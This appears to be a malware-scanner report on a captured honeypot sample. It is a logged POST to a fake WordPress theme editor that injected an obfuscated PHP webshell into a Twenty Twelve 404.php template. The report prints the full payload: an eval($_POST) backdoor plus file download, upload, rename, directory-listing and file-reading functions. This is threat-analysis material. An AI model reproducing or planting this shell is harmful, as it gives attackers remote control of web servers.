Hostile 92% php Download

118.184.47.13W9kH2mSZZYKjZwky-kdqrwAAAAE.theme-editor.scans

Obfuscated PHP webshell payload

Web Shell - file webshell-cnseay02-1.phpWeb shells - generated from file php5.php
SHA-25612f40767c9ea7e83de75954c16727391ba1b2180f3884dac1652405e77594c6c

Evidence

Uses URL-encoded HTTP form content lines 7–19
7:30… w.stratigery.com/wp-admin/theme-editor.php
8 [HTTP_ACCEPT] => text/html, application/xhtml+xml, */*
9 [CONTENT_TYPE] => application/x-www-form-urlencoded
10 [HTTP_USER_AGENT] => Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)
11 [HTTP_COOKIE] => wordpress_test_cookie=WP+Cookie+check;
12 [HTTP_REFERER] => http://www.stratigery.com/wp-admin/
13 [HTTP_HOST] => www.stratigery.com
14 [CONTENT_LENGTH] => 5549
⋯5 lines
Names the CGI QUERY_STRING variable lines 27–46
28 [SCRIPT_FILENAME] => /srv/http/stratigery/htdocs/fake_wp/wp-admin/theme-editor.php
29 [REMOTE_PORT] => 3959
30 [GATEWAY_INTERFACE] => CGI/1.1
31 [SERVER_PROTOCOL] => HTTP/1.1
32 [REQUEST_METHOD] => POST
33 [QUERY_STRING] =>
34 [REQUEST_URI] => /wp-admin/theme-editor.php
35 [SCRIPT_NAME] => /wp-admin/theme-editor.php
36 [PHP_SELF] => /wp-admin/theme-editor.php
37 [REQUEST_TIME_FLOAT] => 1540949978.887
38 [REQUEST_TIME] => 1540949978
39)
40
41_REQUEST
42Array
43(
44 [_wpnonce] => 06b081e203
45 [_wp_http_referer] => /wp-admin/theme-editor.php?file=404.php&theme=twentytwelve
46 [newcontent] => <?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?><?php error_reporting(0);$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";$id=$sr/*+/*+*/("ri"."d_"."si");$rn=$sr/*+/*+*/("em"."an"."er");$dn=$sr/*+/*+*/("em"."anr"."id");$od=$sr/*+/*+*/("ri"."dne"."po");$rd=$sr/*+/*+*/("ri"."dda"."er");$cd= …
HTML form encoding attribute line 46
46:738… ;$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");$dlform='<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';$ulform='<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>';$rnform='<form …
HTTP POST method string literal lines 46–58
46:1438… e="50" type="text"><input type="submit" value="ok"></form>';if($_GET['act']=='dl'){echo($dlform);if($_SERVER['REQUEST_METHOD']=='POST'){$fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));}exit;}if($_GET['act']=='ul'){echo($ulform);if($_SERVER['REQUEST_METHOD']=='POST'){$sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);}exit;}if($_GET['act']=='rn'){echo($rnform);if($_SERVER['REQUEST_METHOD']=='POST'){$rn/*+/*+*/($_POST['on'],$_POST['nn']);}exit;}if($_GET['act']=='gp'){echo($dn/*+/*+*/(__FILE__));exit;}if($_GET['act']=='lp'){echo($lpform);if($_SERVER['REQUEST_METHOD']=='POST'){$dp=$_POST['dp'].'/';$h=$od/*+/*+*/($dp);while(($fn=$rd/*+/*+*/($h))!==false){if($id/*+/*+*/($dp.$fn)){$t1.='D&nbsp;'.$fn.'<br>';}else{$t2.='&nbsp;&nbsp;'.$fn.'<br>';}}$cd/*+/*+*/($dp);echo($dp.'<br>'.$t1.$t2);}exit;}if($_GET['act']=='sf'){echo($sfform);if($_SERVER['REQUEST_METHOD']=='POST'){$df=$_POST['df'];echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');}exit;}?><?php
47/**
48 * The template for displaying 404 pages (Not Found)
49 *
50 * @package WordPress
51 * @subpackage Twenty_Twelve
52 * @since Twenty Twelve 1.0
⋯6 lines
Contains a /tmp/ or /var/tmp/ path lines 92–94
92:38… p-admin
93Edited theme file occurs.
94Uploaded file: /var/tmp/118.184.47.13W9kH2mSZZYKjZwky-kdqrwAAAAEfile

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.